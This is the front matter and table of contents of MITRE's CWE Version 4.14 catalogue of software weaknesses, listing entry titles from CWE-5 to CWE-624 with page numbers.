



CWE Version 4.14

MITRE

CWE Version 4.14
2024-02-29

*CWE is a Software Assurance strategic initiative sponsored by the National
Cyber Security Division of the U.S. Department of Homeland Security*

Copyright 2024, The MITRE Corporation

CWE and the CWE logo are trademarks of The MITRE Corporation
Contact cwe@mitre.org for more information

Table of Contents

Symbols Used in CWE	xxvii
----------------------------	--------------

Individual CWE Weaknesses

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption	1
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length	2
CWE-7: J2EE Misconfiguration: Missing Custom Error Page	4
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote	6
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods	8
CWE-11: ASP.NET Misconfiguration: Creating Debug Binary	9
CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page	11
CWE-13: ASP.NET Misconfiguration: Password in Configuration File	13
CWE-14: Compiler Removal of Code to Clear Buffers	14
CWE-15: External Control of System or Configuration Setting	17
CWE-20: Improper Input Validation	20
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
CWE-23: Relative Path Traversal	46
CWE-24: Path Traversal: './filedir'	53
CWE-25: Path Traversal: '/../filedir'	54
CWE-26: Path Traversal: '/dir/./filename'	56
CWE-27: Path Traversal: 'dir/././filename'	58
CWE-28: Path Traversal: './filedir'	59
CWE-29: Path Traversal: '\.filename'	61
CWE-30: Path Traversal: 'dir\.\filename'	63
CWE-31: Path Traversal: 'dir\.\.\filename'	65
CWE-32: Path Traversal: '...' (Triple Dot)	67
CWE-33: Path Traversal: '....' (Multiple Dot)	69
CWE-34: Path Traversal: '.../'	71
CWE-35: Path Traversal: '.../../'	73
CWE-36: Absolute Path Traversal	75
CWE-37: Path Traversal: '/absolute/pathname/here'	79
CWE-38: Path Traversal: '\absolute\pathname\here'	80
CWE-39: Path Traversal: 'C:\dirname'	82
CWE-40: Path Traversal: '\\UNC\share\name' (Windows UNC Share)	85
CWE-41: Improper Resolution of Path Equivalence	86
CWE-42: Path Equivalence: 'filename.' (Trailing Dot)	92
CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)	93
CWE-44: Path Equivalence: 'file.name' (Internal Dot)	94
CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)	95
CWE-46: Path Equivalence: 'filename ' (Trailing Space)	96
CWE-47: Path Equivalence: ' filename' (Leading Space)	97
CWE-48: Path Equivalence: 'file name' (Internal Whitespace)	98
CWE-49: Path Equivalence: 'filename/' (Trailing Slash)	99
CWE-50: Path Equivalence: '//multiple/leading/slash'	100
CWE-51: Path Equivalence: '/multiple//internal/slash'	102
CWE-52: Path Equivalence: '/multiple/trailing/slash/'	103
CWE-53: Path Equivalence: '\multiple\internal\backslash'	104
CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)	105
CWE-55: Path Equivalence: './' (Single Dot Directory)	106
CWE-56: Path Equivalence: 'filedir*' (Wildcard)	107
CWE-57: Path Equivalence: 'fakedir/./readdir/filename'	108
CWE-58: Path Equivalence: Windows 8.3 Filename	110
CWE-59: Improper Link Resolution Before File Access ('Link Following')	111
CWE-61: UNIX Symbolic Link (Symlink) Following	116
CWE-62: UNIX Hard Link	119
CWE-64: Windows Shortcut Following (.LNK)	121
CWE-65: Windows Hard Link	123
CWE-66: Improper Handling of File Names that Identify Virtual Resources	124
CWE-67: Improper Handling of Windows Device Names	126

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream.....	129
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path.....	130
CWE-73: External Control of File Name or Path.....	132
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').....	137
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection).....	142
CWE-76: Improper Neutralization of Equivalent Special Elements.....	144
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').....	145
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').....	151
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').....	163
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).....	177
CWE-81: Improper Neutralization of Script in an Error Message Web Page.....	179
CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page.....	182
CWE-83: Improper Neutralization of Script in Attributes in a Web Page.....	183
CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page.....	186
CWE-85: Doubled Character XSS Manipulations.....	188
CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages.....	190
CWE-87: Improper Neutralization of Alternate XSS Syntax.....	192
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').....	194
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').....	201
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').....	212
CWE-91: XML Injection (aka Blind XPath Injection).....	215
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').....	217
CWE-94: Improper Control of Generation of Code ('Code Injection').....	219
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').....	226
CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection').....	232
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page.....	235
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').....	236
CWE-99: Improper Control of Resource Identifiers ('Resource Injection').....	243
CWE-102: Struts: Duplicate Validation Forms.....	246
CWE-103: Struts: Incomplete validate() Method Definition.....	248
CWE-104: Struts: Form Bean Does Not Extend Validation Class.....	251
CWE-105: Struts: Form Field Without Validator.....	253
CWE-106: Struts: Plug-in Framework not in Use.....	256
CWE-107: Struts: Unused Validation Form.....	259
CWE-108: Struts: Unvalidated Action Form.....	261
CWE-109: Struts: Validator Turned Off.....	263
CWE-110: Struts: Validator Without Form Field.....	264
CWE-111: Direct Use of Unsafe JNI.....	266
CWE-112: Missing XML Validation.....	269
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting').....	271
CWE-114: Process Control.....	277
CWE-115: Misinterpretation of Input.....	280
CWE-116: Improper Encoding or Escaping of Output.....	281
CWE-117: Improper Output Neutralization for Logs.....	288
CWE-118: Incorrect Access of Indexable Resource ('Range Error').....	292
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer.....	293
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow').....	304
CWE-121: Stack-based Buffer Overflow.....	314
CWE-122: Heap-based Buffer Overflow.....	318
CWE-123: Write-what-where Condition.....	323
CWE-124: Buffer Underwrite ('Buffer Underflow').....	326
CWE-125: Out-of-bounds Read.....	330
CWE-126: Buffer Over-read.....	334
CWE-127: Buffer Under-read.....	337
CWE-128: Wrap-around Error.....	339
CWE-129: Improper Validation of Array Index.....	341
CWE-130: Improper Handling of Length Parameter Inconsistency.....	351

CWE-131: Incorrect Calculation of Buffer Size.....	355
CWE-134: Use of Externally-Controlled Format String.....	365
CWE-135: Incorrect Calculation of Multi-Byte String Length.....	370
CWE-138: Improper Neutralization of Special Elements.....	373
CWE-140: Improper Neutralization of Delimiters.....	376
CWE-141: Improper Neutralization of Parameter/Argument Delimiters.....	378
CWE-142: Improper Neutralization of Value Delimiters.....	380
CWE-143: Improper Neutralization of Record Delimiters.....	381
CWE-144: Improper Neutralization of Line Delimiters.....	383
CWE-145: Improper Neutralization of Section Delimiters.....	385
CWE-146: Improper Neutralization of Expression/Command Delimiters.....	387
CWE-147: Improper Neutralization of Input Terminators.....	389
CWE-148: Improper Neutralization of Input Leaders.....	391
CWE-149: Improper Neutralization of Quoting Syntax.....	392
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.....	394
CWE-151: Improper Neutralization of Comment Delimiters.....	396
CWE-152: Improper Neutralization of Macro Symbols.....	398
CWE-153: Improper Neutralization of Substitution Characters.....	400
CWE-154: Improper Neutralization of Variable Name Delimiters.....	401
CWE-155: Improper Neutralization of Wildcards or Matching Symbols.....	403
CWE-156: Improper Neutralization of Whitespace.....	405
CWE-157: Failure to Sanitize Paired Delimiters.....	407
CWE-158: Improper Neutralization of Null Byte or NUL Character.....	409
CWE-159: Improper Handling of Invalid Use of Special Elements.....	411
CWE-160: Improper Neutralization of Leading Special Elements.....	413
CWE-161: Improper Neutralization of Multiple Leading Special Elements.....	415
CWE-162: Improper Neutralization of Trailing Special Elements.....	417
CWE-163: Improper Neutralization of Multiple Trailing Special Elements.....	418
CWE-164: Improper Neutralization of Internal Special Elements.....	420
CWE-165: Improper Neutralization of Multiple Internal Special Elements.....	422
CWE-166: Improper Handling of Missing Special Element.....	423
CWE-167: Improper Handling of Additional Special Element.....	425
CWE-168: Improper Handling of Inconsistent Special Elements.....	426
CWE-170: Improper Null Termination.....	428
CWE-172: Encoding Error.....	433
CWE-173: Improper Handling of Alternate Encoding.....	435
CWE-174: Double Decoding of the Same Data.....	437
CWE-175: Improper Handling of Mixed Encoding.....	439
CWE-176: Improper Handling of Unicode Encoding.....	440
CWE-177: Improper Handling of URL Encoding (Hex Encoding).....	442
CWE-178: Improper Handling of Case Sensitivity.....	445
CWE-179: Incorrect Behavior Order: Early Validation.....	448
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize.....	451
CWE-181: Incorrect Behavior Order: Validate Before Filter.....	453
CWE-182: Collapse of Data into Unsafe Value.....	455
CWE-183: Permissive List of Allowed Inputs.....	458
CWE-184: Incomplete List of Disallowed Inputs.....	459
CWE-185: Incorrect Regular Expression.....	463
CWE-186: Overly Restrictive Regular Expression.....	466
CWE-187: Partial String Comparison.....	467
CWE-188: Reliance on Data/Memory Layout.....	470
CWE-190: Integer Overflow or Wraparound.....	472
CWE-191: Integer Underflow (Wrap or Wraparound).....	480
CWE-192: Integer Coercion Error.....	482
CWE-193: Off-by-one Error.....	486
CWE-194: Unexpected Sign Extension.....	491
CWE-195: Signed to Unsigned Conversion Error.....	494
CWE-196: Unsigned to Signed Conversion Error.....	498
CWE-197: Numeric Truncation Error.....	500
CWE-198: Use of Incorrect Byte Ordering.....	503
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.....	504

CWE-201: Insertion of Sensitive Information Into Sent Data.....	514
CWE-202: Exposure of Sensitive Information Through Data Queries.....	516
CWE-203: Observable Discrepancy.....	518
CWE-204: Observable Response Discrepancy.....	523
CWE-205: Observable Behavioral Discrepancy.....	526
CWE-206: Observable Internal Behavioral Discrepancy.....	527
CWE-207: Observable Behavioral Discrepancy With Equivalent Products.....	528
CWE-208: Observable Timing Discrepancy.....	529
CWE-209: Generation of Error Message Containing Sensitive Information.....	533
CWE-210: Self-generated Error Message Containing Sensitive Information.....	539
CWE-211: Externally-Generated Error Message Containing Sensitive Information.....	541
CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer.....	544
CWE-213: Exposure of Sensitive Information Due to Incompatible Policies.....	547
CWE-214: Invocation of Process Using Visible Sensitive Information.....	549
CWE-215: Insertion of Sensitive Information Into Debugging Code.....	551
CWE-219: Storage of File with Sensitive Data Under Web Root.....	553
CWE-220: Storage of File With Sensitive Data Under FTP Root.....	555
CWE-221: Information Loss or Omission.....	556
CWE-222: Truncation of Security-relevant Information.....	557
CWE-223: Omission of Security-relevant Information.....	559
CWE-224: Obscured Security-relevant Information by Alternate Name.....	561
CWE-226: Sensitive Information in Resource Not Removed Before Reuse.....	562
CWE-228: Improper Handling of Syntactically Invalid Structure.....	568
CWE-229: Improper Handling of Values.....	570
CWE-230: Improper Handling of Missing Values.....	570
CWE-231: Improper Handling of Extra Values.....	572
CWE-232: Improper Handling of Undefined Values.....	573
CWE-233: Improper Handling of Parameters.....	574
CWE-234: Failure to Handle Missing Parameter.....	576
CWE-235: Improper Handling of Extra Parameters.....	578
CWE-236: Improper Handling of Undefined Parameters.....	579
CWE-237: Improper Handling of Structural Elements.....	580
CWE-238: Improper Handling of Incomplete Structural Elements.....	581
CWE-239: Failure to Handle Incomplete Element.....	582
CWE-240: Improper Handling of Inconsistent Structural Elements.....	583
CWE-241: Improper Handling of Unexpected Data Type.....	584
CWE-242: Use of Inherently Dangerous Function.....	586
CWE-243: Creation of chroot Jail Without Changing Working Directory.....	589
CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection').....	591
CWE-245: J2EE Bad Practices: Direct Management of Connections.....	592
CWE-246: J2EE Bad Practices: Direct Use of Sockets.....	594
CWE-248: Uncaught Exception.....	596
CWE-250: Execution with Unnecessary Privileges.....	599
CWE-252: Unchecked Return Value.....	606
CWE-253: Incorrect Check of Function Return Value.....	613
CWE-256: Plaintext Storage of a Password.....	615
CWE-257: Storing Passwords in a Recoverable Format.....	618
CWE-258: Empty Password in Configuration File.....	621
CWE-259: Use of Hard-coded Password.....	623
CWE-260: Password in Configuration File.....	629
CWE-261: Weak Encoding for Password.....	631
CWE-262: Not Using Password Aging.....	633
CWE-263: Password Aging with Long Expiration.....	636
CWE-266: Incorrect Privilege Assignment.....	638
CWE-267: Privilege Defined With Unsafe Actions.....	641
CWE-268: Privilege Chaining.....	644
CWE-269: Improper Privilege Management.....	646
CWE-270: Privilege Context Switching Error.....	651
CWE-271: Privilege Dropping / Lowering Errors.....	653
CWE-272: Least Privilege Violation.....	656
CWE-273: Improper Check for Dropped Privileges.....	660

CWE-274: Improper Handling of Insufficient Privileges.....	663
CWE-276: Incorrect Default Permissions.....	665
CWE-277: Insecure Inherited Permissions.....	668
CWE-278: Insecure Preserved Inherited Permissions.....	669
CWE-279: Incorrect Execution-Assigned Permissions.....	671
CWE-280: Improper Handling of Insufficient Permissions or Privileges	672
CWE-281: Improper Preservation of Permissions.....	674
CWE-282: Improper Ownership Management.....	676
CWE-283: Unverified Ownership.....	678
CWE-284: Improper Access Control.....	680
CWE-285: Improper Authorization.....	684
CWE-286: Incorrect User Management.....	691
CWE-287: Improper Authentication.....	692
CWE-288: Authentication Bypass Using an Alternate Path or Channel.....	700
CWE-289: Authentication Bypass by Alternate Name.....	703
CWE-290: Authentication Bypass by Spoofing.....	705
CWE-291: Reliance on IP Address for Authentication.....	708
CWE-293: Using Referer Field for Authentication.....	710
CWE-294: Authentication Bypass by Capture-replay.....	712
CWE-295: Improper Certificate Validation.....	714
CWE-296: Improper Following of a Certificate's Chain of Trust.....	719
CWE-297: Improper Validation of Certificate with Host Mismatch.....	722
CWE-298: Improper Validation of Certificate Expiration.....	726
CWE-299: Improper Check for Certificate Revocation.....	727
CWE-300: Channel Accessible by Non-Endpoint.....	730
CWE-301: Reflection Attack in an Authentication Protocol.....	733
CWE-302: Authentication Bypass by Assumed-Immutable Data.....	735
CWE-303: Incorrect Implementation of Authentication Algorithm.....	737
CWE-304: Missing Critical Step in Authentication.....	738
CWE-305: Authentication Bypass by Primary Weakness.....	740
CWE-306: Missing Authentication for Critical Function.....	741
CWE-307: Improper Restriction of Excessive Authentication Attempts.....	747
CWE-308: Use of Single-factor Authentication.....	752
CWE-309: Use of Password System for Primary Authentication.....	754
CWE-311: Missing Encryption of Sensitive Data.....	757
CWE-312: Cleartext Storage of Sensitive Information.....	764
CWE-313: Cleartext Storage in a File or on Disk.....	770
CWE-314: Cleartext Storage in the Registry.....	772
CWE-315: Cleartext Storage of Sensitive Information in a Cookie.....	774
CWE-316: Cleartext Storage of Sensitive Information in Memory.....	775
CWE-317: Cleartext Storage of Sensitive Information in GUI.....	777
CWE-318: Cleartext Storage of Sensitive Information in Executable.....	778
CWE-319: Cleartext Transmission of Sensitive Information.....	779
CWE-321: Use of Hard-coded Cryptographic Key.....	785
CWE-322: Key Exchange without Entity Authentication.....	788
CWE-323: Reusing a Nonce, Key Pair in Encryption.....	790
CWE-324: Use of a Key Past its Expiration Date.....	792
CWE-325: Missing Cryptographic Step.....	794
CWE-326: Inadequate Encryption Strength.....	796
CWE-327: Use of a Broken or Risky Cryptographic Algorithm.....	799
CWE-328: Use of Weak Hash.....	806
CWE-329: Generation of Predictable IV with CBC Mode.....	811
CWE-330: Use of Insufficiently Random Values.....	814
CWE-331: Insufficient Entropy.....	821
CWE-332: Insufficient Entropy in PRNG.....	823
CWE-333: Improper Handling of Insufficient Entropy in TRNG.....	825
CWE-334: Small Space of Random Values.....	827
CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG).....	829
CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG).....	832
CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG).....	834
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).....	837

CWE-339: Small Seed Space in PRNG.....	840
CWE-340: Generation of Predictable Numbers or Identifiers.....	842
CWE-341: Predictable from Observable State.....	843
CWE-342: Predictable Exact Value from Previous Values.....	845
CWE-343: Predictable Value Range from Previous Values.....	847
CWE-344: Use of Invariant Value in Dynamically Changing Context.....	849
CWE-345: Insufficient Verification of Data Authenticity.....	851
CWE-346: Origin Validation Error.....	853
CWE-347: Improper Verification of Cryptographic Signature.....	857
CWE-348: Use of Less Trusted Source.....	859
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data.....	861
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.....	863
CWE-351: Insufficient Type Distinction.....	866
CWE-352: Cross-Site Request Forgery (CSRF).....	868
CWE-353: Missing Support for Integrity Check.....	874
CWE-354: Improper Validation of Integrity Check Value.....	876
CWE-356: Product UI does not Warn User of Unsafe Actions.....	879
CWE-357: Insufficient UI Warning of Dangerous Operations.....	880
CWE-358: Improperly Implemented Security Check for Standard.....	881
CWE-359: Exposure of Private Personal Information to an Unauthorized Actor.....	882
CWE-360: Trust of System Event Data.....	887
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').....	888
CWE-363: Race Condition Enabling Link Following.....	897
CWE-364: Signal Handler Race Condition.....	899
CWE-366: Race Condition within a Thread.....	904
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.....	906
CWE-368: Context Switching Race Condition.....	912
CWE-369: Divide By Zero.....	913
CWE-370: Missing Check for Certificate Revocation after Initial Check.....	917
CWE-372: Incomplete Internal State Distinction.....	919
CWE-374: Passing Mutable Objects to an Untrusted Method.....	920
CWE-375: Returning a Mutable Object to an Untrusted Caller.....	923
CWE-377: Insecure Temporary File.....	925
CWE-378: Creation of Temporary File With Insecure Permissions.....	928
CWE-379: Creation of Temporary File in Directory with Insecure Permissions.....	930
CWE-382: J2EE Bad Practices: Use of System.exit().....	933
CWE-383: J2EE Bad Practices: Direct Use of Threads.....	935
CWE-384: Session Fixation.....	936
CWE-385: Covert Timing Channel.....	940
CWE-386: Symbolic Name not Mapping to Correct Object.....	942
CWE-390: Detection of Error Condition Without Action.....	943
CWE-391: Unchecked Error Condition.....	948
CWE-392: Missing Report of Error Condition.....	951
CWE-393: Return of Wrong Status Code.....	953
CWE-394: Unexpected Status Code or Return Value.....	955
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference.....	957
CWE-396: Declaration of Catch for Generic Exception.....	959
CWE-397: Declaration of Throws for Generic Exception.....	961
CWE-400: Uncontrolled Resource Consumption.....	964
CWE-401: Missing Release of Memory after Effective Lifetime.....	973
CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak').....	976
CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak').....	978
CWE-404: Improper Resource Shutdown or Release.....	980
CWE-405: Asymmetric Resource Consumption (Amplification).....	986
CWE-406: Insufficient Control of Network Message Volume (Network Amplification).....	990
CWE-407: Inefficient Algorithmic Complexity.....	992
CWE-408: Incorrect Behavior Order: Early Amplification.....	995
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).....	996
CWE-410: Insufficient Resource Pool.....	998
CWE-412: Unrestricted Externally Accessible Lock.....	1000

CWE-413: Improper Resource Locking.....	1003
CWE-414: Missing Lock Check.....	1007
CWE-415: Double Free.....	1008
CWE-416: Use After Free.....	1012
CWE-419: Unprotected Primary Channel.....	1017
CWE-420: Unprotected Alternate Channel.....	1018
CWE-421: Race Condition During Access to Alternate Channel.....	1020
CWE-422: Unprotected Windows Messaging Channel ('Shatter').....	1022
CWE-424: Improper Protection of Alternate Path.....	1023
CWE-425: Direct Request ('Forced Browsing').....	1025
CWE-426: Untrusted Search Path.....	1028
CWE-427: Uncontrolled Search Path Element.....	1033
CWE-428: Unquoted Search Path or Element.....	1039
CWE-430: Deployment of Wrong Handler.....	1042
CWE-431: Missing Handler.....	1043
CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations.....	1045
CWE-433: Unparsed Raw Web Content Delivery.....	1046
CWE-434: Unrestricted Upload of File with Dangerous Type.....	1048
CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities.....	1055
CWE-436: Interpretation Conflict.....	1057
CWE-437: Incomplete Model of Endpoint Features.....	1059
CWE-439: Behavioral Change in New Version or Environment.....	1061
CWE-440: Expected Behavior Violation.....	1062
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').....	1064
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').....	1068
CWE-446: UI Discrepancy for Security Feature.....	1073
CWE-447: Unimplemented or Unsupported Feature in UI.....	1075
CWE-448: Obsolete Feature in UI.....	1076
CWE-449: The UI Performs the Wrong Action.....	1077
CWE-450: Multiple Interpretations of UI Input.....	1078
CWE-451: User Interface (UI) Misrepresentation of Critical Information.....	1079
CWE-453: Insecure Default Variable Initialization.....	1083
CWE-454: External Initialization of Trusted Variables or Data Stores.....	1085
CWE-455: Non-exit on Failed Initialization.....	1087
CWE-456: Missing Initialization of a Variable.....	1089
CWE-457: Use of Uninitialized Variable.....	1094
CWE-459: Incomplete Cleanup.....	1099
CWE-460: Improper Cleanup on Thrown Exception.....	1102
CWE-462: Duplicate Key in Associative List (Alist).....	1104
CWE-463: Deletion of Data Structure Sentinel.....	1105
CWE-464: Addition of Data Structure Sentinel.....	1107
CWE-466: Return of Pointer Value Outside of Expected Range.....	1109
CWE-467: Use of sizeof() on a Pointer Type.....	1110
CWE-468: Incorrect Pointer Scaling.....	1114
CWE-469: Use of Pointer Subtraction to Determine Size.....	1115
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').....	1118
CWE-471: Modification of Assumed-Immutable Data (MAID).....	1121
CWE-472: External Control of Assumed-Immutable Web Parameter.....	1123
CWE-473: PHP External Variable Modification.....	1127
CWE-474: Use of Function with Inconsistent Implementations.....	1128
CWE-475: Undefined Behavior for Input to API.....	1130
CWE-476: NULL Pointer Dereference.....	1132
CWE-477: Use of Obsolete Function.....	1138
CWE-478: Missing Default Case in Multiple Condition Expression.....	1142
CWE-479: Signal Handler Use of a Non-reentrant Function.....	1147
CWE-480: Use of Incorrect Operator.....	1150
CWE-481: Assigning instead of Comparing.....	1154
CWE-482: Comparing instead of Assigning.....	1157
CWE-483: Incorrect Block Delimitation.....	1160
CWE-484: Omitted Break Statement in Switch.....	1162
CWE-486: Comparison of Classes by Name.....	1164

CWE-487: Reliance on Package-level Scope.....	1167
CWE-488: Exposure of Data Element to Wrong Session.....	1169
CWE-489: Active Debug Code.....	1171
CWE-491: Public cloneable() Method Without Final ('Object Hijack').....	1174
CWE-492: Use of Inner Class Containing Sensitive Data.....	1175
CWE-493: Critical Public Variable Without Final Modifier.....	1182
CWE-494: Download of Code Without Integrity Check.....	1185
CWE-495: Private Data Structure Returned From A Public Method.....	1189
CWE-496: Public Data Assigned to Private Array-Typed Field.....	1192
CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere.....	1193
CWE-498: Cloneable Class Containing Sensitive Information.....	1196
CWE-499: Serializable Class Containing Sensitive Data.....	1198
CWE-500: Public Static Field Not Marked Final.....	1200
CWE-501: Trust Boundary Violation.....	1203
CWE-502: Deserialization of Untrusted Data.....	1204
CWE-506: Embedded Malicious Code.....	1210
CWE-507: Trojan Horse.....	1212
CWE-508: Non-Replicating Malicious Code.....	1213
CWE-509: Replicating Malicious Code (Virus or Worm).....	1214
CWE-510: Trapdoor.....	1215
CWE-511: Logic/Time Bomb.....	1216
CWE-512: Spyware.....	1218
CWE-514: Covert Channel.....	1218
CWE-515: Covert Storage Channel.....	1220
CWE-520: .NET Misconfiguration: Use of Impersonation.....	1222
CWE-521: Weak Password Requirements.....	1223
CWE-522: Insufficiently Protected Credentials.....	1225
CWE-523: Unprotected Transport of Credentials.....	1230
CWE-524: Use of Cache Containing Sensitive Information.....	1232
CWE-525: Use of Web Browser Cache Containing Sensitive Information.....	1233
CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable.....	1234
CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere.....	1236
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere.....	1237
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere.....	1238
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere.....	1239
CWE-531: Inclusion of Sensitive Information in Test Code.....	1240
CWE-532: Insertion of Sensitive Information into Log File.....	1241
CWE-535: Exposure of Information Through Shell Error Message.....	1244
CWE-536: Servlet Runtime Error Message Containing Sensitive Information.....	1245
CWE-537: Java Runtime Error Message Containing Sensitive Information.....	1246
CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory.....	1248
CWE-539: Use of Persistent Cookies Containing Sensitive Information.....	1250
CWE-540: Inclusion of Sensitive Information in Source Code.....	1251
CWE-541: Inclusion of Sensitive Information in an Include File.....	1253
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context.....	1255
CWE-544: Missing Standardized Error Handling Mechanism.....	1256
CWE-546: Suspicious Comment.....	1258
CWE-547: Use of Hard-coded, Security-relevant Constants.....	1259
CWE-548: Exposure of Information Through Directory Listing.....	1261
CWE-549: Missing Password Field Masking.....	1262
CWE-550: Server-generated Error Message Containing Sensitive Information.....	1263
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization.....	1264
CWE-552: Files or Directories Accessible to External Parties.....	1265
CWE-553: Command Shell in Externally Accessible Directory.....	1269
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework.....	1269
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File.....	1270
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation.....	1271
CWE-558: Use of getlogin() in Multithreaded Application.....	1272
CWE-560: Use of umask() with chmod-style Argument.....	1274
CWE-561: Dead Code.....	1275
CWE-562: Return of Stack Variable Address.....	1278

CWE-563: Assignment to Variable without Use.....	1280
CWE-564: SQL Injection: Hibernate.....	1282
CWE-565: Reliance on Cookies without Validation and Integrity Checking.....	1283
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key.....	1286
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context.....	1288
CWE-568: finalize() Method Without super.finalize().....	1290
CWE-570: Expression is Always False.....	1292
CWE-571: Expression is Always True.....	1295
CWE-572: Call to Thread run() instead of start().....	1296
CWE-573: Improper Following of Specification by Caller.....	1298
CWE-574: EJB Bad Practices: Use of Synchronization Primitives.....	1300
CWE-575: EJB Bad Practices: Use of AWT Swing.....	1301
CWE-576: EJB Bad Practices: Use of Java I/O.....	1304
CWE-577: EJB Bad Practices: Use of Sockets.....	1305
CWE-578: EJB Bad Practices: Use of Class Loader.....	1307
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session.....	1309
CWE-580: clone() Method Without super.clone().....	1311
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined.....	1312
CWE-582: Array Declared Public, Final, and Static.....	1314
CWE-583: finalize() Method Declared Public.....	1315
CWE-584: Return Inside Finally Block.....	1317
CWE-585: Empty Synchronized Block.....	1318
CWE-586: Explicit Call to Finalize().....	1320
CWE-587: Assignment of a Fixed Address to a Pointer.....	1322
CWE-588: Attempt to Access Child of a Non-structure Pointer.....	1323
CWE-589: Call to Non-ubiquitous API.....	1325
CWE-590: Free of Memory not on the Heap.....	1326
CWE-591: Sensitive Data Storage in Improperly Locked Memory.....	1329
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created.....	1331
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk.....	1332
CWE-595: Comparison of Object References Instead of Object Contents.....	1334
CWE-597: Use of Wrong Operator in String Comparison.....	1337
CWE-598: Use of GET Request Method With Sensitive Query Strings.....	1340
CWE-599: Missing Validation of OpenSSL Certificate.....	1341
CWE-600: Uncaught Exception in Servlet	1343
CWE-601: URL Redirection to Untrusted Site ('Open Redirect').....	1345
CWE-602: Client-Side Enforcement of Server-Side Security.....	1350
CWE-603: Use of Client-Side Authentication.....	1354
CWE-605: Multiple Binds to the Same Port.....	1356
CWE-606: Unchecked Input for Loop Condition.....	1357
CWE-607: Public Static Final Field References Mutable Object.....	1360
CWE-608: Struts: Non-private Field in ActionForm Class.....	1361
CWE-609: Double-Checked Locking.....	1362
CWE-610: Externally Controlled Reference to a Resource in Another Sphere.....	1364
CWE-611: Improper Restriction of XML External Entity Reference.....	1367
CWE-612: Improper Authorization of Index Containing Sensitive Information.....	1370
CWE-613: Insufficient Session Expiration.....	1371
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute.....	1373
CWE-615: Inclusion of Sensitive Information in Source Code Comments.....	1375
CWE-616: Incomplete Identification of Uploaded File Variables (PHP).....	1376
CWE-617: Reachable Assertion.....	1378
CWE-618: Exposed Unsafe ActiveX Method.....	1380
CWE-619: Dangling Database Cursor ('Cursor Injection').....	1382
CWE-620: Unverified Password Change.....	1383
CWE-621: Variable Extraction Error.....	1385
CWE-622: Improper Validation of Function Hook Arguments.....	1387
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting.....	1389
CWE-624: Executable Regular Expression Error.....	1390
